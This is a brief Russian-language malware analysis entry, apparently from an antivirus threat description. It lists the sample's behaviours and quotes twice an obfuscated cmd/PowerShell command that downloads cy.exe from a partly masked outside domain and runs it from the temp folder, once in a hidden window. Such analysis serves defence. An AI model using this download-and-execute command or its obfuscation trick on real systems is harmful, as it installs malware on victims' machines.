Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /cPowe%ALLUSERSPROFILE:~4,1%SheLL $client = new-object System.Net.WebClient;$client.DownloadFile('www.re###uedep.com/cy.exe','%temp%\a.exe');start %temp%\a.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /cPowe%ALLUSERSPROFILE:~4,1%SheLL $client = new-object System.Net.WebClient;$client.DownloadFile('www.re###uedep.com/cy.exe','%temp%\a.exe');start %temp%\a.exe' (со скрытым окном)
